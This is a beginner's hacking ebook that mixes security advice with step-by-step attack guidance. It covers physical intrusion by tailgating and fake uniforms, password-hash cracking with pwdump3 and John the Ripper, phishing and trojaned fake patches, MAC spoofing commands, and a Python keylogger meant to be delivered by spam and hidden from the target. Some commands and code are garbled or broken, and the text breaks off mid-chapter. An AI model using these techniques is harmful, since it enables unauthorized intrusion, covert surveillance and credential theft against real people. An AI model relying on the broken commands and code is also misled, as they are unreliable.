HACKING

WORLD CLASS HACKING, PYTHON AND CYBER SECURITY STRATEGIES FOR UP-AND-COMING HACKERS

HACKING STUDIOS

Hacking

World Class Hacking, Python and Cyber Security Strategies For Up-and-Coming Hackers

3 books in 1!

Hacking: Become a world class hacker, hack any password, program or system with proven strategies and tricks

Cyber Security: Understand Hacking and Protect Yourself and Your Organization From Ever Getting Hacked

Python: Fluent In Python - Code Examples, Tips & Trick for Beginners

By: Hacking Studios

Table of Contents

Hacking: Become a world class hacker, hack any password, program or system with proven strategies and tricks

Cyber Security: Understand Hacking and Protect Yourself and Your Organization From Ever Getting Hacked

Python: Fluent In Python - Code Examples, Tips & Trick for Beginners

Hacking:

Become a world class hacker, hack any password, program or system with proven strategies and tricks

Introduction

Congratulations on downloading this book and thank you for doing so.

The following chapters will discuss some of the things that you should know about hacking if you would like to protect your own network or learn how to do hacking on your own. We will discuss a lot of the important topics that come with hacking and even how to do some of your own attacks.

There is a lot to learn about hacking and you can use these for many of your own attacks as well. We will talk about some of the basics of hacking, how to do a penetration test and why it's so important, how to hack into passwords and wireless networks, how to create a keylogger, and so much more. When you are done with this guidebook, you will be ready to create a few attacks on your own as well.

Hacking is a complex computer topic that will take some time to learn. But if you follow some of the tips that are in this guidebook and even learn how to work on a programming language, you will become an expert in coding in no time.

There are plenty of books on this subject on the market, thanks again for choosing this one! Every effort was made to ensure it is full of as much useful information as possible, please enjoy!

Chapter 1: Learning the Basics of Hacking

As technology starts to become more present in our lives each day, the world of hacking is growing as well. There are so many people who work online, conduct business online, store information on their computers and phones, and who make purchases and more on their computers. This is all a normal part of our daily lives now, but it also becomes a great tool for hackers to use. If they can get on a few systems, they are able to get ahold of any information that they need.

All of us have heard about a hacker at some point or another. Usually, this is after a big story breaks about a hacker who stole hundreds of identities and then finally got caught. But there are different forms of hackers and many times they won't ever be caught. The black hat hackers are the ones who are on a system, without being allowed, usually to steal information for their own personal gain. There are also white hat hackers though, individuals who work with companies to find flaws in the system, are ethical but they will use many of the same techniques as all other hackers.

But what does hacking really mean? What are some of the things that come into your mind when you hear the word "hacking"? Most people think about someone who is alone in their business, a real computer genius, who is able to hack into a network and get all the information that they need. These people will often go through and steal personal information, causing a mess with identity theft and so much more.

This is an image that a lot of people will think when they hear about hackers. But there are so many different types and uses of hacking that it is hard to fit everyone into that box. Understanding what hacking really is can help you to learn how hacking can be different depending on the situation.

Basically, hacking is an attempt for the hacker to solve a problem or to change an application through changing the software or the hardware. While there are people who have been successful in getting into systems they are not allowed on and making changes that can give them some type of personal gain, the majority of hackers don't work this way. Sure, they will both use a lot of the same tools and techniques as each other, but the reasons behind the

hacking will be completely different.

Let's take a look at some of the history of hacking. In the beginning, hackers were some people who knew how to use the phone systems and computer systems and would often work in order to make good changes to software to make it work a little bit better. These guys were able to take things a bit further and would go through and make some modifications to the early computer programs that were coming out at the time. They just would make some changes to the program so that the software would work a bit better or could be used for a special reason. They got creative and sometimes made the whole program easier and better to use.

As you can guess, things have changed quite a bit in the hacking world. Instead of just taking a piece of software that you are using for your own personal reasons and making some modifications, hackers are now able to gain illegal access to some systems, damage systems, and cause issues with cyber security

Types of hackers

Let's look at some of the different types of hackers that are out there and how they do things differently. The first type of hacker is the white hat hacker, which can often be called ethical hackers. These are the hackers that are doing their jobs legally, often working for a big company to find vulnerabilities and protect the computer system. Companies like Amazon would hire a white hat hacker to help protect the payment information of their customers.

These hackers are not going to cause harm in the system. Instead, they are going to try to find some of the issues that are in the system to protect the company and the customers. They may also work as experts in cyber security to fix up the potential vulnerabilities that come up. They make this their job and they can also let people in the public know if there are some threats if it is needed.

The second type of hacker that you may run into is the black hat hacker. These are the "bad" hackers or the ones who are looking to make a personal

profit off the information that they get, then they will get into a network so that they can damage the data or steal some information, sometimes they are going to have anger against the company that causes issues. They are not trying to help out anyone else but themselves during that time, they want to make money or cause a lot of damage.

There is also a third category of hackers. This is the gray hat hackers. This is a combination of the other two categories. This group is usually getting into a system without permission like the black hat hackers, but they are not trying to cause trouble. Sometimes the hacker is just getting into the system because they want to see if they are able to, but they have no want of stealing information or causing damage.

These hackers sometimes want to help out a company, but they may not work for the company and so they are not technically allowed on the system. They will often find these vulnerabilities and then can alert the company. These people are sometimes able to protect the company from a big embarrassment. Sometimes they will be invited to start working for the company if they do find some big vulnerabilities.

Skills to get started with hacking

There are several skills that you should consider having when it is time to start hacking. This guidebook is going to focus on ethical hacking, but the techniques and the skills are going to be similar. Some of the skills that you may need include:

- Computer skills: before you are able to hack into another system, you need to have a good understanding of how computers work and even how to read instructions to help you out. Your skills should be a bit more complex than just being able to browse the internet.
- Able to use Linux OS: one of the best operating systems that you can use for hacking. You can do some of the work with Windows and Mac, but since you are able to use Linux to customize some of your programs, it is the preferred method for hackers.
- Database skills: understanding how some database management systems work will help you out a lot. You should learn how to work

with MySQL and Oracle and be able to penetrate these.

- Networking skills: a hacker is going to engage in a ton of online activity so you need to have some of these skills. Some good networking skills to learn about include WPS passwords, ports, DNS, and subnetting.
- Scripting skills: it is probably best to learn a coding language before you get started with hacking. Some people start without some of the basics of coding, but this will put you at a disadvantage. You should be able to use your own tools because using the tools that other hackers have designed can make a system you create vulnerable to exploitation.
- Reverse engineering skills: this is a really effective way for you to develop some hacking tools. You would take one of the tools that are already available, take it apart, and then change it to be better and do the work that you want. Good hackers are able to use these skills.
- Virtualization software: this software is helpful because you will be able to test the hack out on your own computer before you send it out in the world. This can help you to see if there are any bugs in the system.

There is a lot of things that go behind hacking and getting things organized can take some time. A good hacker will hone their skills over time so that they are able to make better programs, sneak into systems easier, and get the information they are looking for.

Different types of attacks

There are many different types of attacks that you are able to work on. Some will allow you to get into a wireless network and take the information that you would like. Some hackers can steal passwords and usernames so that they can gain personal and financial information over their targets. Other times you can go through and hack a smartphone.

All of these attacks will allow the hacker to get ahold of the information that they would like. But each of them will fit inside of two main categories. The first type is known as a passive attack. This attack is when the hacker will just get into the network or the system that they want to, and then they just

wait things out. This is not an attack that others will notice the hacker is there. They will wait for their target to get into the system, gather information, and maybe make a few changes, but the attack won't really cause harm on the computer system yet.

It is also possible for the hacker to perform an active attack. This one will usually after the hacker has finished their passive attack and gathered information that they need. The active attack is going to be when the other people will notice that the hacker is there. The hacker will lock people out of the system, make major changes, send out viruses, and more, meaning to steal information or cause harm to the system.

Often the hacker will combine these two attacks to gain the information that they need and to ensure that they can cause the damage that they want. Knowing how to do both types of hacks is important to ensure that the hacker is able to gain access and to what they would like.

Chapter 2: How to Complete a Penetration Test

The first topic we will discuss is how to complete a penetration test. This is going to be the process of testing out an application, network, or some type of cyber system in order to detect some of the weaknesses that a hacker may be able to exploit. This process is going to make it easy for you to get into the system without having to use the passwords and usernames that the other users need. As an ethical hacker, you would use this process to check out how easy it is to get into the system and reach the confidential information that is there.

So how do we know the difference between an attack and a penetration test? Usually, it's the amount of permission that you have to be on the system. A hacker who is going through one of these penetration tests is given permission to do this hack by the owners of the system. When they are done, the hacker will hand over a report about what they found. As the test, it is possible that you will be given access to gain entry inside the system. And then when you get on, you will be able to see whether or not it is possible to get more confidential information as the ordinary user, even information that these users should not have.

While it is sometimes easier to go in as a current user and see what is available for them to get. But in some cases, it is better to go through the blind. You would go through like a black hat hacker, trying to get on the system without having any authorization in the first place. You will be given the name of the company you are working with and that is it. It does take a bit more time, but since this is the way that most hackers will get into a system, it is a good place to get started.

The steps that you take as a penetration tester will be similar to the ones that a malicious hacker will use. Most hackers are going to slowly go through the system so that they don't set off some alarms and get someone to notice them. You should go through the system slowly as well because this helps you to see if the system is really able to detect your attacks.

In the first step of penetration testing, you are going to work on getting as much information as you can. This process is considered passive because you are not launching an attack. You are simply looking around and trying to learn as much about the company as you can. For example, you can figure out the server names, the IP addresses, the web servers, the versions of software that are being used, and even the operating system in place.

Once you have gotten all of this information, it is time for you to go through the second step and verify the information. You can check this against the information that you gathered with the known vulnerabilities. And then check the vulnerabilities as well to make sure the information is right.

Why do a penetration test?

There are a lot of great reasons why you would want to go through and do a penetration test for a company. The biggest reason is that you want to identify weaknesses that a hacker is going to exploit the system. Hackers will often try to get into the system of a big company to gain that information, so watching out for some of those weaknesses can be so important. The IT department for that company may want to keep track and check out for new weaknesses to make sure that a hacker is not able to get into the network.

As the penetration tester, you will need to go through the system just like a hacker. You will need to hack and attack the system and then fix up the holes. Hopefully, you are able to do this before a bad hacker is able to find these same holes to get in. You have to go through and do these tests quite a bit because even though the system may be safe right now, there could be things that go wrong later on.

Another reason that you would want to work on penetration testing is to show management that you need to have the right resources for cyber security. When you go through a penetration test and find all the holes that are in the system, you can write out a report. This report will show management just how important the cyber security is for the business. You can often bring all this to the attention of the management team because they may not realize how much work the security will be in their system.

Sometimes the biggest issue will be whether or not the internal security team is doing the job that it should. A penetration test, especially from a third-party team, will check whether the IT department of a company is really doing the job it should. They may also be able to provide some help with finding the gaps between knowledge of the vulnerabilities in the system and being able to implement the measures needed for security.

Writing out the report

After you are done with the penetration testing, you will need to put all of that data into a report. This allows you the ability to see what all is wrong with the system and then you can make some changes that will fix these vulnerabilities. If you are showing this information to someone else in the company, such as the management team, you need to make sure that your report is easy to read.

Consider splitting it up into the right sections so that it is easier to read and your client can find the information that you need. Some good parts to write out include the technical summary that will contain all the jargon, the Management summary that will go through and explain the holes that you found and how to fix them, and even an executive summary.

A penetration test is a good way to get a good idea of how strong your system is and what changes you need to make. Hopefully, the system is pretty strong and you won’t have to do a ton of work in the process. Many times, though, there will be more holes in the network than you can imagine. The penetration testing is going to help you to see where these are so you can fix them.

Chapter 3: Gaining Physical Access to a System

Once you are done with your penetration testing, there may be a few things in your system that you will need to fix. We are going to move on to some of the attacks that you can work on in your system to help keep it safe. This chapter will be about gaining physical access to your system. The physical access can make it easy for a hacker to get into the system, as long as they can touch the computers in the system.

Sometimes, the hacker could be one of the employees who already has access to the system. They will use some of their skills to look around and get the information that they want. Other times, security may be lax around the company and a stranger can get in. They may learn the uniforms or dress code of the company and if that company is large, and doesn't have a good security system, the hacker could get right in the building and no one would realize it.

Since our world has changed so much in terms of technology, moving to smartphones, tablets, USB drives and other handheld devices, it is pretty easy for the hacker to get ahold of the devices that they want. Let's take a look at some of the ways that a hacker could gain physical access to your system.

Types of vulnerabilities

There are a few vulnerabilities that will make it easier for someone to gain the physical access that they need. Some of these vulnerabilities include:

- Failure to have a front desk that will keep track of the people who come into and leave the building.
- Failure to enforce the employees to sign in as well as any visitors to the building.
- Security staff and other employees that don't know each other all that well. This makes it easier for people to get into the building.
- Tossing sensitive documents, whether they are personal or corporate, into the trash. You employees should be trained to shred

these papers instead.

- Leaving the doors that go into the computer rooms unlocked.
- Leaving devices with important information all around the office.
- Failure to fix up a door that isn't shutting the way that it should.

Creating a plan

Before you can start with a physical attack, you need to make sure that you create your plan to get it done. Your first step should be to figure out the best way to breach physical activity. This can take a bit of research on the part of the hacker. For example, they need to be able to notice the security measures that are in place for the company, the weaknesses that they can exploit, and how to take advantage of it all.

This can sound simple when starting out, but when you try to put it into action, it can take some time and work. We are going to make the assumption that you are trying to do this physical attack without having someone on the inside who can help you out. You may need to take a few weeks or more to collect this information and be ready for the attack. With the physical security breach, it means that you need to be able to enter the building, get around inside the building, and then get out without anyone detecting you or your motives.

A physical breach can be a challenge and it is not for everyone. For example, if you don't have the patience to get this done, lack the mental agility, or aren't physically fit enough to get around the building, then this kind of attack is not the one for you.

Physical controls

The first thing that we will need to explore is the physical controls. This means that you will need to learn how the security team works, including how they manage access, monitor, and control the company. You may notice that with the company, there may be some sections that are restricted, private, and public and this will help you to determine the technique that is the best for you.

To start, you will need to look at the perimeter security. You will need to check the outside of the business, including the mantraps, turnstiles, cameras, surveillance, dogs, fences, walls, and anything else that would keep you out of the company. These will be any deterrent that will keep you outside of the company. Some companies may not even have more than a security officer who checks the front desk, or they may not even have that much.

It is your job to go through the perimeter check and figure out where everything is and where the weaknesses are all located because these are going to be the places that you can exploit. You will be able to get some ideas just by looking around the building.

You should also consider ID badges. Some companies will have some of these ID badges because it helps them to control and monitor the movement of their employees. They can also check out the directories and files that an employee will modify or create based on the type of badges that the company uses. If possible, you should consider getting ahold of these badges so that you can get in. In some cases, it is hard to one of these badges, but there are some other options that you can use including:

- Enter as a visitor with one of the guards, but then find a way to get away from your escort.
- Use a technique that is known as tailgating. You will need to assume that the building doesn't have a mantrap with it.
- Find an employee who is out on a break, like in the smoking area, and then follow them in while continuing the conversation so it looks like you belong.

- Find a fake uniform and pretend to be a repairman, sales person, or a contractor. This will help you to get into the building.

There can also be some intrusion detection systems. These would include some options like intrusion alarms and motions. It is important to have a good idea of the types of alarms and monitoring systems that are used inside the building so you can avoid these.

Technical controls

There are also some technical controls that you should be careful for when you want to perform a physical attack. This is going to be things like CCTV cameras and smart cards that are meant to help keep the company stay safe.

The first one includes smart cards. These are going to have integrated circuits and microchips that will be able to process data so that there is a tw0-factor authentication. This will contain all the information about the employee, including where they are able to gain access. But having this card is not the only thing that has to match up for you to get into the company. A scanner or password of some sort will be used to help authenticate who you are.

This doesn't mean that you won't be able to get through them. You can watch the other people in the company and get one of the passwords or there are a few hacks that you can do that will help you to override the system.

CCTV cameras are video surveillance cameras They are going to be placed in special places throughout the company and can be monitored by some security guards. With a bit of research, you will be able to find some blind spots so that you can get around the system, you just need to learn where these spots are.

Once you are able to get through the different security features that are around a company, you will be able to finish off the physical attack in no time. These attacks just need you to get access to the system, and sometimes you will be able to take the device with you if it is portable, making it easy for you to get on and get the information that you want.

Chapter 4: Hacking Passwords

Hacking passwords is a great tool to learn how to use. As a hacker, there is a lot of information that you can get when you are able to get ahold of the password of your target user. These passwords can allow you to get into a computer system, get into a banking account, and so much more. Sometimes they are the keys to getting everything that you want.

There are several different ways that the hacker can get into a password. Some will just go through and use a brute force attack, which means that they will just keep trying out passwords until one works. There are dictionary attacks that will use all of the words out of the dictionary. These options often take a bit of time to complete, but they will get the job done especially when the user has a very short and easy password.

Another option is a keylogger. This will keep track of the keystrokes that the user puts in. This will print off for the hacker, without the user ever knowing, and the hacker will be able to go through and see where the patterns are. Add in a screen logger, and the hacker has great access to the information that they need to get into the users' accounts.

Shoulder surfing is another option that can be used to help a hacker gain your password. This is when you are able to watch the person as they type in their passwords and then figure out what they are using. Sometimes you can see the keystrokes so it is easy to see what words are used. Sometimes you will see how many characters are present so that you can limit the choices available. The point is that you are near the person when you are trying to get the password.

Social engineering is often used in order to gain password information. Many hackers will send out a fake email that looks like a legitimate company, such as an email that looks like it comes from the user's bank. The user may click on the link and give their password, allowing the hacker to have the information that they need.

Types of password vulnerabilities

There are two types of vulnerabilities that can come with your passwords. They include technical and user. For user vulnerabilities, we are talking about any weaknesses that will come because of weak policies for passwords or when the company doesn't enforce the harder guidelines that are needed to keep the system safe

One example of the user vulnerability is when people use the same password for all of their accounts. This may be easier for the user to remember, but it makes it so easy for the hacker to try. In fact, if the hacker finds one of your passwords, they are going to assume that this password is used on all your accounts and will try them all in.

There are trillions of password options available and the more complicated that you can make the password, the harder it is for a hacker to get into the system. In addition, you should consider changing up your password on occasion. If you keep your password the same for too long, the hacker is more likely to open it up with brute force attack. But if you change it around on occasion and make sure that your passwords are not shared with more than one account, you are less likely to deal with an attack.

There are also technical vulnerabilities that you have to watch out for on your passwords. After the hacker is done going through and seeing if they can exploit the user vulnerabilities, they will move on to see if there are some technical vulnerabilities. There are a few common technical vulnerabilities including:

- The applications showing the password while the user types it on the screen. Most applications won't do this, but the user can sometimes change this to have the letters show up. Shoulder surfers are able to look over and see what your password is.
- Databases and programs that will store your password. Sometimes the database won't be secured properly, such as when you store the password in a Word file, which is easy for the hacker to get into.
- Using databases that don't have encryption and which can be accessed by a lot of people who don't have authorization.
- Use of techniques for encryption that are not that good. There are a lot of developers who feel that their source codes are not known so

they won’t put in the right type of security This makes it easy for a hacker to get into the system.

Doing a password hack

Now that we have talked a bit about the reasons why and sometimes how the hacker is able to do a password hack, it is now time to work on doing the attack yourself. We are going to use the pwdump3 tool to help us get any hashed passwords that come from the database of Security Accounts Manager Then we can use John the Ripper because it works well on both Windows and Linux passwords, which will give you access to most of the passwords that you are looking for.

You will need to go through a slightly different process based on whether you are working with the Linux system or the Windows system. In order to use these two programs to hack into a Windows system, use these steps.

- Go to your computer and then open up the C drive. Create a directory and make sure that you call it “passwords”
- You will need to make sure that your computer has a decompression tool installed. A good option is WinZip. If you don’t have a program like this on your computer, you should download and install it.
- Now it is time to download and install John the Ripper and pwdump3. They need to be extracted into the passwords directory that you make earlier.
- Type in the command “c : passwordspwdump3 > cracked.txt”
- The output that you will get will be the Windows Security Accounts Manager password hashes. These will all be captured inside the .txt file.
- Now you can type in the command “c: passwordsjohn cracked.txt”
- This is going to have John the Ripper against all the password hashes and your output will be the user passwords that were cracked.
- This method can be easy to work with and is pretty simple but the process will take you a bit of time, depending on how many people are on the system and how complex their passwords are.

The process to do this on a Linux system is going to be a bit different. The steps that you need to take care of cracking passwords with a Linux system include:

- Download all the source files on Linux.
- When these are ready, you should type in the command [root@local host yourcurrentfilename] #tar –zxf john – 1.7.9.tar.gz
- This is going to extract the program while also helping you to create a brand new /src directory.
- Once the /src directory is ready, type in the command “make generic”
- Now you can be in the /run directory so type in the command “/unshadow/etc/passwd/etc/shadow > cracked.txt.
- From here, the unshadow program is going to merge the passwords and the shadow files and then will input them into the .txt file.
- Now you can type in the command /john cracked.txt
- This is going to help you to launch the cracking process. This one will take you a bit of time, but you should end up with the same kind of output that you got when using the procedure in Windows.

It is so important to make sure that you are creating strong passwords and that the other people on your network are doing the same thing. These passwords can help you to keep the system safe and secure, but you have to make sure that the hackers are not able to figure out what those passwords are. Make the passwords strong, don’t share them with other people or use the same one on more than one account, and change them occasionally. These tips will help you to keep the hackers out of your accounts.

Chapter 5: Social Engineering

During 2016, one of the biggest cyber threats facing businesses and consumers included social engineering. Why is this so high on the list? This is because the hackers are exploiting the weakness in the system, the people, because this is one of the easiest ways for them to get into a system and get the information that they want. They will send over something that will get the user to click on it or act in a certain way, and then the hacker can get what they want. This is often much easier to help the hacker compared to just using the network.

The hardest part for the hacker to work with in social engineering is to get people to trust them. If the information or the file seems a little off, the user will never open it or use it and the hacker will never see the results that they want. But when the hacker is able to get the user to trust them, they will be able to exploit this to get the information that they want.

One thing that you will find with social engineering is that it will be done with a physical security hack. The whole goal of these attacks is to make someone who has the needed information trust you so that you are able to get ahold of that information.

There are several ways that you are able to work with social engineering. You could send the target user an email that will usually contain some links. If the user does click on the links, a virus or malware will download and take over their computer.

If you already work with the company and want to gain the access, you can talk to the IT department, saying that you lost your badge or other ID. They may be willing to hand over the keys so that you can get the digital and physical files that you want.

Remember that while these may seem simple, social engineering takes some time and you have to be careful because you do need to gain the trust of the user, or they will never get what they want.

Social engineering strategies

There are a few different strategies that you are able to use as a hacker in order to see success with social engineering. Some of the most popular strategies include:

Gaining trust

The easiest method to use is for the hacker to gain the trust of the user. To make this work, you need to be good, sharp, and articulate at conversations. There are some hackers that won't be successful because they acted a bit nervously or they were a bit careless in the way that they talked. Some of the ways that you can avoid making mistakes when trying to gain trust include:

- They talked too much or the enthusiasm seemed too much for the situation.
- Acting nervous when they need to respond to questions.
- Asking questions that seem a bit odd.
- Appearing to be in a hurry.
- Holding into information that should only be used by insiders
- Talking about people who are in the upper management of the company but they don't really seem to know these people.
- Acting like they have the authority that they don't have inside the company.

One method that you can use with social engineering is to do a favor for someone. This can build up trust with the other person and will give you the upper hand. You can then ask for a favor right away and the other person is more likely to help you out to pay you back. Or you can create a problem for that other person and then be the one who saves them from that problem.

Phishing

Another option that you can use with social engineering is going to use technology in order to exploit other people. When they are online, it is common to see that people will be pretty naïve. They will do a lot of things and trust a lot of people that they would never do in a regular situation in real life.

With a phishing attack, you are going to send out an email to the user, but these will look like they come from a source that is trusted. The point here is to get the user to share information that is personal, either by asking them to send the information or by getting them to click on the links. The user will think that the email looks real, but since you spoofed the IP address, it is just going to look real. You can do this as a company, a relative, a friend, or anyone that you would like to get the information that you want.

Spamming

Spamming is another technique that you can use that is similar. With this one, you will just send out a lot of emails, as many as you can, and then hope that the user will become curious and will open up one or more. These emails will include a free gift, such as a coupon or a book, as long as the user gives them some personal information.

In some cases, the hacker can pretend to be from a verified software vendor. They will then send out an email saying that the user needs to download a software patch to help that app or piece of software to work a bit later and that they get to download that patch for free. The trick is that the hacker has added something to the patch, such as a backdoor or a Trojan horse. The user may not notice anything is going wrong, but the hacker will be able to do what they want on the system once you click it open.

Phishing scams are really successful because it can be almost impossible for you to trace the information back to the hacker. They are able to use things like proxy servers and remailers in order to stay anonymous and it is hard for you to find them.

Avoiding a social engineering attack

It is so important to learn how to avoid a social engineering attack. This will make sure that you aren’t giving out your personal information and that you will stay safe with all of the links that you click on. If you are in charge of the IT department in a company, you need to make sure that everyone inside the company understands these rules so no one allows a hacker to come in. Some

of the best ways for you to avoid a social engineering attack includes:

- Never give out your password. You should be the only person who knows this password.
- Never send out your personal information through emails and through social media. Make sure that you are positive of the person on the other side before you make connections on social media.
- Never download an attachment that comes from an unidentified IP address. Also, avoid clicking on the links in any emails that look like spam.
- Avoid the bad tendency of hovering the cursor over a link in your email Hackers can add in malware to the link so that when you leave the mouse over it, the attack with begin having a good anti-malware is one of the best ways to avoid this.

As the hacker, you will find that social engineering is sometimes hard to accomplish. A lot of people are vigilant about protecting their computers and won't even look at these spam emails anymore. But there are still some people who are naïve and will keep looking, which can cause some issues. Most hackers will have to work on getting to more than one person in order to increase their chances.

Chapter 6: How to Complete a Wireless Network Attack

The next thing that we are going to work on is how to hack into a wireless network. This can provide the hacker with easy access to a network because they can just go all around the wireless network. Wireless networks are pretty common today, but this makes it easier for a hacker to get into them. They can change some of the radio frequencies as needed, and get the information that they want. This chapter will focus on how to complete a wireless attack so that you can get into a network, even if it is not yours.

WLAN Attacks

There are actually a few ways that your wireless attack can be done. Some of the most common methods include:

- Unintentional association: there are times when two wireless networks are going to overlap for a bit. This can allow a user to go from one network over to another. If a hacker finds out that this occurs, they can take advantage of it to get information that is on the network, often information that they don't have access to.
- Non-conventional networks; these are often going to be networks that don't have the right security, such as the ones on laptops or those found on access points. These are easy targets for hackers because they are easier to work with. some of the devices that are up for grabs with this include handheld PDAs, Bluetooth devices, barcode readers, and wireless printers
- Denial of service attacks: this attack is going to include the hacker sending out thousands of requests, commands, and messages to one access point. This can overload the network and it forces that network to crash. The user will not be able to get into the network, but the hacker can get the information that they want.
- Man in the middle attacks: there are so many great things that a hacker is able to do when they choose a man in the middle attack. This is when the hacker will increase their signal strength so that the target computer will allow them to have access, or they will find

another way to access a network they shouldn't be on, but the system will assume they are allowed to be there. The hacker will often start with just looking around and see what is going on in the system, but it can also be used to do an active attack.

- MAC spoofing: this is like identity theft of a computer that has network privileges. The hacker will try to steal the Media Access Control or the MAC of the authorized computer with a software that is able to find this information. when the hacker has the right information, they can use other options to help them to use this MAC address and get access to the system.

Verifying a wireless network

Most of the wireless networks that you are going to be on will be secured with passwords so that there can be some control over how users are able to access this particular network. There are two methods that are commonly accepted to protect the wireless networks including WEP or Wired Equivalent Privacy and WAP or Wi-Fi Protected Access. Let's take a look at how each of these works.

WEP

WEP is going to offer you quite a bit of privacy when it comes to working on a wired network. It is also in charge of encrypting all of the data that has been sent over the network. There are some big vulnerabilities that come with this option, which is why many hackers have been able to get through it and most people have switched over to WPA.

Cracking these networks can be done through a passive attack or an active attack. The active attack is going to be the most effective because it is able to overload the network and it is easier to detect. The passive attack will just let the hacker get into the network and then check on the traffic before doing anything else.

WAP

Most wireless networks are going to be on WAP now because it is safer to

use. This type of authentication is designed in order to avoid some of the weaknesses that are found in WEP. It is going to depend on the encryption of packets and passphrases of the temporal keys. There is still a weakness that comes with the WAP option even though it is safer. For example, if you don't use a nice strong passphrase, you can be susceptible to a dictionary attack. Cain and Abel are one of the best cracking tools to use to get into a WAP network.

Carry out a MAC spoofing attack

If you would like to prevent an attack of MAC spoofing, you should consider using MAC filtering. This filter is able to make sure that MAC addresses that are not authorized from joining with your wireless network, even if they do happen to have the right password to get into the system. However, if the hacker is really determined, it is not the most effective way to keep them out, but it can slow them down.

- We are going to take some time to learn how to do a spoof of the MAC address of one of the users who is allowed to be on the network. To do this, you have to make sure that the Wi-Fi adapter is going to be placed into monitoring mode. The tools that are used include Mac changer and Airodump-ng. The steps that you can use to make this happen include:

- Make sure that the adapter is in a monitoring mode. When the adapter is ready, you will want to type in the following command "Airodump-ng-c [channel]-bssid [target router MAC Address]-I wlan0mon"
- This code is going to help you to see the wireless network of the network. All of the users who are able to get into the network will show up on your screen and their corresponding MAC addresses will be there as well.
- You can now pick one of these addresses to use on your computer. You do need to make some changes to your computer, mainly, you need to switch off the monitoring interface. To do this, type in the command "Airmon-ng stop wlan0mon"
- Then you need to switch off the wireless interface of the address

that you chose. To do this, you need to type in the command "Ifconfig wlano down"

- Now you need to run the Mac changer software. To do this, you need to type in "Macchanger –m [New MAC Address] wlan0"
- From here, you will need to switch on your wireless interface of the MAC address you chose earlier. You can then type in the command "Ifcofig wlano up"

And now you are all done with doing your work. You have been able to change your MAC address so that it is now the same as one of the authorized users. If you did this properly, you will be able to log into that particular wireless network and connect to it. If you are successful with getting into the wireless network, you did all of the steps right.

Securing a wireless network

While the process above seemed pretty easy to accomplish, there are a few things that you can do to make sure that a hacker is not able to get into your own network. This will help you to keep all of your information safe and sound. Some of the things that you can do to make sure that your wireless network is safe includes:

- Make sure that you have the right kinds of anti-spyware, anti-virus, and firewalls in place for the company. It also needs to be updated on a frequent basis and check that the firewall is turned on.
- All of your ports need to be encrypted. This means that the access points, routers, and base stations need to be scrambled up with the network communications. These do come with encryption switches, but it is common to find that these have been turned off so just turn them back on.
- Make sure that you go through and change the password that is on your wireless router. You want it to be long and complex so that it is harder for a hacker to get on.
- Whenever you are not using the network, make sure to turn it off. If the network is off, it is harder for a hacker to get into it.
- Turn of the broadcaster for your router. This is basically how the device is going to broadcast its presence. Genuine users already

know that this router is there so it is not really necessary for it to broadcast at all. This just makes it easier for the hacker to get into your system.

Getting into a wireless network can be so great for a hacker. It allows them to work on man in the middle attacks, which means they can just be passive and receive information or they can be active and cause a lot of damage on the system. Learning how to protect your network is critical to helping you to keep the hackers out.

Chapter 7: Using a Keylogger to Gain Information

Another type of attack that can be useful for hackers is to add a keylogger to the target computer. This allows them to see what information is being typed into the system and sometimes, when they add in a screenshot tool, they can even see what kinds of websites the target is using and the information they type in at the same time. We are going to use the Python language to help capture all the keystrokes that the target is placing into the computer in order to get ahold of username and passwords to use later on. So, let's get started!

Logging the keystrokes

So, the first thing we need to do is to figure out how to make the program that is needed for keylogging You may find that one of the easiest ways to get ahold of the information you want from the user is through their username and passwords, but how do you get ahold of their password? It is possible to go through some of the techniques that we talked about before, such as guessing and typing in words from the dictionary, but this can take a very long time. And as some people are updating their passwords and making them a bit harder and more complex, a hacker could spend hours trying to figure it out.

As you can imagine, no hacker really wants to spend their time trying to guess the password because that is such a waste. And if the user ends up changing their password at any time, they have just wasted all that valuable time as well. This is why hackers have come up with a more advanced way to figure out the password, saving them time and getting the information sent to them, rather than having to worry about using a brute force attack. The keylogger is effective because it does take a look at all the strokes that the user pushes on the keyboard and then sends it over to the hacker. If the hacker does this right, they will be able to get all the information, and more, out of this.

There are several ways that you can get a keylogger to load into the target's computer. The easiest method to use is to send out a spamming email and

having the user download it, often without being aware. You want to make sure that the user never becomes aware that the keylogger is there, or you are going to run into trouble.

Now, we are going to take a look at the different parts of working on the keylogger. The first part is just going to tell the computer that it needs to listen to the keystrokes of the person you are targeting. The code that will make this happen includes:

```
        import pyHook
import pythoncom

def keypress(event):
        if even.Ascii:
        char = chr(event.Ascii)
        print char

        if char = = "~":
        exit()

hm = pyHook.HookManager()
hm.KeyDown = keypress
hm.HookKeyboard()
pythoncom.PumpMessages()
```

This one is helpful because it helps you to download the two libraries that you need to get the whole keylogger done. The first of these libraries is known as the pyHook, which is the one in charge of listening for any low-level activity on the computer, such as the keystrokes and the movement of the mouse. You may need to download this into your computer if you don't already have it there.

The second library that we will use is known as the pythoncom. This one is the main toolkit that you are able to use with Microsoft and it will make sure that all the different processes that you are working with can communicate with each other. For example, the library for pythoncom is going to help make sure that you receive notifications of the new keystrokes that you are

using.

Now that the initial imports have gone through, it is time to define the function. In this case, it is going to be the key press, which is going to be the part that receives the event object. Your function will then interpret the event object and then that object is going to respond in some way, based on the content of that event. This is an important spot because it is where you are able to make a few improvements as you expand out your script. In the form that we used earlier, the code is set up to see if the user input was a character of ASCII. If this is found to be true, that is when the “stdout” will print. Then you are able to check whether the input character is the “~”. If it is the second one, the script is going to exit.

This second exit option is important and will come in handy when you need to test out your script, but you do need to watch out for things because it is important that the target never has access to this. Make sure that your comment is going to have the “if statement” before you send out the keylogger, or there can often be issues.

Before we move on, let’s take a look at the last few lines of the code. These are important because you will instantiate the HookManager object. In this code, this is going to be the main workhorse for your libraries. This particular code is going to let the HookManager know that it will need to listen for and respond to the keystrokes that are in the system by simply sending them to the keypress function. It then moves on to calling up the method of Hook Keyboard so that it will start listening for the inputs that come on the keyboard. And then the end of this code is going to make sure that the inputs are passed on to the HookManager.

Now we are going to take some time to fire up the code from above. Once that is loaded on your computer, it is time to test it out. For this, just press a key and you should see that on every line, a new symbol is going to show up. But when you press on the “~” symbol, the code will exit and stop recording. If the keystrokes are showing up, your code is working well, but it won’t take long for you to see that there are a few issues with the way that you are getting the output, so we need to keep moving on.

Right now, the biggest issue with this code is that it is printing out right on the screen. This means that your user will be able to see that their keystrokes are being watched and they will go and find someone who can take the keylogger off, rather than continue typing. If these symbols keep coming up on their computer, you have to make some changes if you still want to get the information.

